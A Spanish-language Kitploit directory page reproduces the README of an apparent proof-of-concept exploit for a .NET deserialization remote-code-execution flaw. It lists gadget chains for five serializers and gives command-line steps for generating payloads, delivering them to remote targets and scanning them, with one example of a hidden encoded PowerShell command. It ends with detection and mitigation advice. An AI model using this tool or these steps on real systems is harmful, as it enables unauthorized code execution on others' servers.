Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit — Genera cinco formatos de payload de deserialización .NET para CVE-2026-56158, los entrega a través de endpoints HTTP/SOAP/JSON, e incluye servidor mock, escáner y salida de informes JSON. | Kitploit
Herramientas/GitHubGitHub/sam00/cve-2026-56158-.net-framework-rce-poc-exploit
Escáneres de VulnerabilidadesGeneración de PayloadsAnálisis Estático de Código (SAST)Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebDesarrollo de Payloads
GitHub
sam00/cve-2026-56158-.net-framework-rce-poc-exploit

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

Genera cinco formatos de payload de deserialización .NET para CVE-2026-56158, los entrega a través de endpoints HTTP/SOAP/JSON, e incluye servidor mock, escáner y salida de informes JSON.

Ver Repositorio
19hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-56158 — Exploit PoC de ejecución remota de código (RCE) en .NET Framework

Crítico (CVSS 9.8) — Deserialización de datos no confiables (CWE-502) en Microsoft .NET Framework y .NET Runtime Parcheado: 14 de julio de 2026 | Atribuido a: Positive Technologies (PT-2026-60174)


Tabla de contenido

  • Descripción general
  • Detalles de la vulnerabilidad
  • Versiones afectadas
  • Vectores de ataque
  • Arquitectura del exploit
  • Estructura de archivos
  • Instalación
  • Uso paso a paso
  • Pruebas
  • Detección y endurecimiento
  • Mitigación
  • Referencias
  • Descargo de responsabilidad
  • Licencia

Descripción general

CVE-2026-56158 es una vulnerabilidad crítica de ejecución remota de código en Microsoft .NET Framework y en el runtime de .NET. La falla reside en la deserialización insegura de datos no confiables (CWE-502): cuando una aplicación .NET utiliza serializadores heredados (, , , ) o Json.NET con , un atacante remoto no autenticado puede entregar una carga útil serializada manipulada que desencadena la ejecución de código arbitrario al deserializarla.

BinaryFormatter
NetDataContractSerializer
SoapFormatter
ObjectStateFormatter
TypeNameHandling.All/Auto

La vulnerabilidad tiene una puntuación base CVSS 3.1 de 9.8 (Crítico) con el vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, lo que significa:

  • Vector de ataque: Red (sin necesidad de acceso físico)
  • Complejidad de ataque: Baja
  • Privilegios requeridos: Ninguno
  • Interacción del usuario: Ninguna
  • Impacto: Compromiso total de Confidencialidad, Integridad y Disponibilidad

Microsoft publicó actualizaciones de seguridad el 14 de julio de 2026 como parte del ciclo mensual de Patch Tuesday.


Detalles de la vulnerabilidad

CampoValor
ID de CVECVE-2026-56158
TítuloVulnerabilidad de ejecución remota de código en .NET Framework
CVSS 3.19.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVSS 2.07.5 Alto (AV:N/AC:L/Au:N/C:P/I:P/A:P)
CWECWE-502 (Deserialización de datos no confiables)
Publicación14 de julio de 2026
Parche14 de julio de 2026
DescubridorPositive Technologies (PT-2026-60174)
EPSSAún sin puntuación
CISA KEVNo incluida

Causa raíz

Los serializadores heredados del runtime de .NET reconstruyen tipos de objetos arbitrarios a partir de flujos serializados sin validar el tipo ni el contenido. Cuando un atacante controla la entrada serializada, puede dirigir al deserializador para que cree instancias de tipos inesperados cuyos constructores, callbacks o setters de propiedades ejecuten código arbitrario: un ataque clásico de cadena de gadgets de deserialización.

La vulnerabilidad afecta a múltiples mecanismos de serialización:

  1. BinaryFormatter — Flujo binario con metadatos de tipo; la cadena de gadgets TypeConfuseDelegate delega en Process.Start
  2. NetDataContractSerializer — Formato XML que incluye información de tipos de .NET; permite la instanciación directa de tipos
  3. SoapFormatter — Envoltura XML SOAP con referencias a tipos CLR; ProcessStartInfo incrustado en el cuerpo SOAP
  4. ObjectStateFormatter — Formato binario de ViewState de ASP.NET; Process.Start mediante el campo ViewState
  5. Json.NET (Newtonsoft.Json) — JSON con metadatos $type cuando TypeNameHandling.All/Auto está habilitado; el gadget ObjectDataProvider llama a Process.Start

Versiones afectadas

ProductoRango vulnerableVersión corregidaArtículo de KB
.NET 8.08.0.0 – 8.0.288.0.29KB5100998
.NET 9.09.0.0 – 9.0.179.0.18KB5100998
.NET 10.010.0.0 – 10.0.910.0.10KB5101001
.NET Framework 3.5Todos los anteriores al parcheParcheadoKB5100985
.NET Framework 4.6.2–4.7.2Todos los anteriores al parcheParcheadoKB5100991
.NET Framework 4.8Todos los anteriores al parcheParcheadoKB5101011
.NET Framework 4.8.1Todos los anteriores al parcheParcheadoKB5101002
Visual Studio 2022 (17.12)Anterior al parche17.12.x—
Visual Studio 2022 (17.14)Anterior al parche17.14.x—
Visual Studio 2026 (18.7)Anterior al parche18.7.x—

Paquetes de Alpine Linux:

  • dotnet8-runtime < 8.0.29-r0
  • dotnet9-runtime < 9.0.18-r0
  • dotnet10-runtime < 10.0.10-r0

Vectores de ataque

Este exploit PoC genera y entrega cargas útiles mediante 5 formatos diferentes de ataque por deserialización:

1. BinaryFormatter (TypeConfuseDelegate Gadget)

root@kitploit:~
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
  → Process.Start("cmd.exe", "/c calc.exe") → RCE
  • Formato: Binario (flujo serializado de .NET)
  • Content-Type: application/octet-stream
  • Entrega: Cuerpo de HTTP POST, archivo
  • Gadget: ActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.Start

2. NetDataContractSerializer

root@kitploit:~
XML with type info → NetDataContractSerializer.ReadObject()
  → ProcessStartInfo instantiation → Process.Start → RCE
  • Formato: XML con información de tipos de .NET incrustada
  • Content-Type: application/octet-stream o text/xml
  • Entrega: Cuerpo de HTTP POST, endpoint de WCF

3. SoapFormatter

root@kitploit:~
SOAP envelope → SoapFormatter.Deserialize()
  → ProcessStartInfo in SOAP body → Process.Start → RCE
  • Formato: Envoltura XML SOAP con referencias a tipos CLR
  • Content-Type: text/xml
  • Entrega: Endpoint SOAP de WCF/ASMX

4. ObjectStateFormatter (ViewState)

root@kitploit:~
ViewState binary → ObjectStateFormatter.Deserialize()
  → Process.Start via ViewState field → RCE
  • Formato: Binario (formato ViewState de ASP.NET)
  • Content-Type: application/octet-stream
  • Entrega: Campo __VIEWSTATE de HTTP POST

5. Json.NET (TypeNameHandling.All)

root@kitploit:~
JSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
  → ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
  • Formato: JSON con metadatos $type
  • Content-Type: application/json
  • Entrega: Endpoint de API REST con TypeNameHandling.All o Auto

Arquitectura del exploit

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                         exploit.py                                   │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌──────────────┐   ┌───────────────┐   ┌───────────────────────┐  │
│  │ PayloadGen   │   │ PayloadDeliv  │   │ VulnerabilityScanner  │  │
│  │              │   │               │   │                       │  │
│  │ • BinaryFmt  │   │ • HTTP POST   │   │ • HTTP header check   │  │
│  │ • NetData    │──▶│ • SOAP/WCF   │──▶│ • Endpoint discovery  │  │
│  │ • SoapFmt    │   │ • JSON API    │   │ • ViewState analysis  │  │
│  │ • ObjectState│   │ • File save   │   │ • Version detection   │  │
│  │ • Json.NET   │   │               │   │                       │  │
│  └──────────────┘   └───────────────┘   └───────────────────────┘  │
│         │                   │                      │                 │
│         └───────────────────┼──────────────────────┘                 │
│                             ▼                                        │
│  ┌──────────────┐   ┌──────────────────────────────────────────┐   │
│  │ PayloadList  │   │ Report Generator (JSON)                   │   │
│  │ (Mock .NET)  │   │ • CVE metadata, CVSS, CWE                │   │
│  │              │   │ • Payload hashes (SHA-256)               │   │
│  │ Simulates    │   │ • Delivery results                       │   │
│  │ vulnerable   │   │ • RCE confirmation                       │   │
│  │ deserialization│ │ • References                             │   │
│  └──────────────┘   └──────────────────────────────────────────┘   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Flujo de ataque

root@kitploit:~
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
         Content-Type: application/octet-stream
         Body: [BinaryFormatter payload]
                                             │
                                             ▼
                                   BinaryFormatter.Deserialize()
                                   (no type validation)
                                             │
                                             ▼
                                   TypeConfuseDelegate invoked
                                             │
                                             ▼
                                   Process.Start("cmd.exe", "/c calc.exe")
                                             │
                                             ▼
                                   calc.exe spawns → RCE CONFIRMED

Diagrama Mermaid

root@kitploit:~
graph TD
    A[Attacker] --> B[PayloadGenerator]
    B --> B1[BinaryFormatter]
    B --> B2[NetDataContractSerializer]
    B --> B3[SoapFormatter]
    B --> B4[ObjectStateFormatter]
    B --> B5[Json.NET]

    B1 --> C1[TypeConfuseDelegate Gadget]
    B2 --> C2[ProcessStartInfo XML]
    B3 --> C3[SOAP ProcessStartInfo]
    B4 --> C4[ViewState Process.Start]
    B5 --> C5[ObjectDataProvider Gadget]

    C1 --> D[PayloadDelivery]
    C2 --> D
    C3 --> D
    C4 --> D
    C5 --> D

    D --> E1[HTTP POST]
    D --> E2[SOAP Endpoint]
    D --> E3[JSON API]
    D --> E4[File]

    E1 --> F[.NET Runtime < 8.0.29]
    E2 --> F
    E3 --> F
    E4 --> F

    F --> G[Unsafe Deserialization - No Type Validation]
    G --> H[Gadget Chain Executes]
    H --> I[Process.Start - RCE]
    I --> J[Arbitrary Code Execution]

    subgraph "Vulnerable Components"
        F
        G
    end

    subgraph "Exploit Chain"
        H
        I
        J
    end

Estructura de archivos

root@kitploit:~
CVE-2026-56158/
├── exploit.py          # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py           # Detection & hardening checker
├── test_exploit.py     # Unit tests (74 tests)
├── e2e_test.py         # End-to-end validation tests (37 tests)
├── README.md           # This file — GitHub description page
├── USAGE.md            # Detailed step-by-step usage guide
├── DIAGRAM.md          # Architecture & attack flow diagrams
├── package.json        # Project metadata
├── LICENSE             # MIT License
└── .gitignore          # Git ignore rules

Instalación

Requisitos previos

  • Python 3.8+ (solo stdlib, sin dependencias externas)
  • Objetivo: aplicación .NET que utilice deserialización insegura (para uso en entornos reales)
  • No se requiere instalación de .NET para las pruebas (se incluye un servidor simulado)

Clonar

root@kitploit:~
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158

Uso paso a paso

Paso 1: Generar cargas útiles

Genera los 5 formatos de carga útil con el comando predeterminado (calc.exe):

root@kitploit:~
python3 exploit.py

Salida:

root@kitploit:~
[INFO] Generating deserialization payloads...
  [SUCCESS] binaryformatter: 395 bytes
  [SUCCESS] netdatacontract: 437 bytes
  [SUCCESS] soap: 716 bytes
  [SUCCESS] objectstate: 153 bytes
  [SUCCESS] jsonnet: 695 bytes

Genera con un comando personalizado:

root@kitploit:~
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"

Paso 2: Probar localmente con el servidor simulado

Inicia el servidor .NET vulnerable simulado integrado y entrega todas las cargas útiles:

root@kitploit:~
python3 exploit.py --listen

Esto hará lo siguiente:

  1. Iniciar un servidor HTTP simulado que imita un endpoint .NET vulnerable
  2. Generar los 5 formatos de carga útil
  3. Entregar cada carga útil al servidor simulado
  4. Verificar que se haya desencadenado la RCE (deserialización → ejecución de código)
  5. Generar un informe de explotación en JSON

Salida esperada:

root@kitploit:~
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered

Puerto personalizado:

root@kitploit:~
python3 exploit.py --listen --port 8080

Paso 3: Guardar la carga útil en un archivo

Guarda un formato de carga útil específico en un archivo para su entrega manual:

root@kitploit:~
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"

# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"

# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"

Paso 4: Entregar a un objetivo remoto

Entrega todas las cargas útiles a un objetivo .NET remoto:

root@kitploit:~
python3 exploit.py -u http://target:8080 -c "calc.exe"

Con bypass del certificado SSL:

root@kitploit:~
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure

Paso 5: Escanear un objetivo en busca de indicadores de vulnerabilidad

Escanea un objetivo para detectar la versión de .NET, endpoints de deserialización y problemas de ViewState:

root@kitploit:~
python3 exploit.py -u http://target:8080 --scan

Esto comprueba:

  • Cabeceras de respuesta HTTP en busca de indicadores de versión de .NET (X-AspNet-Version, X-Powered-By)
  • Rutas comunes de endpoints de deserialización (/api/deserialize, /Service.svc, etc.)
  • Estado de protección de ViewState de ASP.NET (validación MAC, cifrado)

Paso 6: Generar el informe de explotación

Genera un informe JSON con todos los detalles de la explotación:

root@kitploit:~
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json

El informe incluye:

  • Metadatos de la CVE (ID, CVSS, CWE, vector)
  • Detalles de la carga útil (formato, tamaño, hash SHA-256)
  • Resultados de la entrega (estado HTTP, respuesta)
  • Hallazgos del escaneo
  • Estado de confirmación de la RCE
  • Referencias

Pruebas

Pruebas unitarias (74 pruebas)

root@kitploit:~
python3 test_exploit.py

Las pruebas cubren:

  • Generación de cargas útiles para los 5 formatos
  • Inyección de comandos personalizados
  • Codificación Base64
  • Entrega de cargas útiles (HTTP, SOAP, JSON, archivo)
  • Escáner de vulnerabilidades (detección de versiones, descubrimiento de endpoints)
  • Listener simulado (confirmación de RCE, detección de formato)
  • Generación de informes (salida JSON, creación de archivos)
  • Integridad de las cargas útiles (generación determinista)
  • Casos límite (comandos vacíos, argumentos complejos)

Pruebas de extremo a extremo (37 pruebas)

root@kitploit:~
python3 e2e_test.py

Las pruebas cubren:

  • Cadena de explotación completa: generar → entregar → verificar RCE
  • Los 5 formatos de carga útil entregados al servidor simulado
  • Confirmación de RCE en múltiples formatos
  • Entrega de cargas útiles basada en archivos
  • Integración del escáner de vulnerabilidades
  • Generación y validación del informe de explotación

Resultados de las pruebas

root@kitploit:~
Unit Tests:  74 passed, 0 failed
E2E Tests:   37 passed, 0 failed
Total:       111 tests passed

Detección y endurecimiento

Ejecuta el comprobador de detección para identificar instalaciones de .NET vulnerables:

root@kitploit:~
python3 detect.py

Escanea el código fuente en busca de patrones de deserialización insegura:

root@kitploit:~
python3 detect.py /path/to/source/code

El detector comprueba:

  • Versiones instaladas del runtime de .NET (mediante dotnet --list-runtimes)
  • Entradas de registro de .NET Framework (Windows)
  • Patrones de código fuente: BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.Deserialize

Mitigación

  1. Actualiza el runtime de .NET a las versiones parcheadas (8.0.29+, 9.0.18+, 10.0.10+)
  2. Actualiza .NET Framework mediante Windows Update (KB5100985/KB5100991/KB5101011)
  3. Reemplaza BinaryFormatter por System.Text.Json o DataContractSerializer con enlace estricto de tipos
  4. Implementa listas de permitidos de SerializationBinder cuando se requieran serializadores heredados
  5. Configura el modificador de AppContext: Switch.System.Runtime.Serialization.UseLegacyBinaryFormatter=false
  6. Para ViewState de ASP.NET: habilita ViewStateMac y ViewStateEncryption
  7. Para Json.NET: evita TypeNameHandling.All/Auto; usa TypeNameHandling.None
  8. Bloquea SoapFormatter y NetDataContractSerializer para entradas no confiables
  9. Aplica políticas de WDAC/AppLocker para restringir la creación de procesos desde aplicaciones .NET
  10. Supervisa la aparición de procesos secundarios inesperados desde dotnet.exe, devenv.exe o procesos host de .NET personalizados

Referencias

  • NVD — CVE-2026-56158
  • Tenable — CVE-2026-56158
  • Snyk — SNYK-ALPINE324-DOTNET8RUNTIME-18025263
  • Microsoft — Actualización acumulativa de julio de 2026
  • MSRC — CVE-2026-56158
  • Alpine Security Tracker — CVE-2026-56158
  • .NET 8.0.29 Release Notes

Descargo de responsabilidad

Este exploit de prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Utiliza esta herramienta solo contra sistemas que poseas o para los que tengas autorización explícita por escrito. El uso no autorizado contra sistemas que no posees es ilegal y puede violar las leyes de fraude y abuso informático.

Los autores y colaboradores no son responsables de ningún uso indebido ni de los daños causados por este software.


Licencia

Licencia MIT — consulta el archivo LICENSE para obtener más detalles.

Descargar herramienta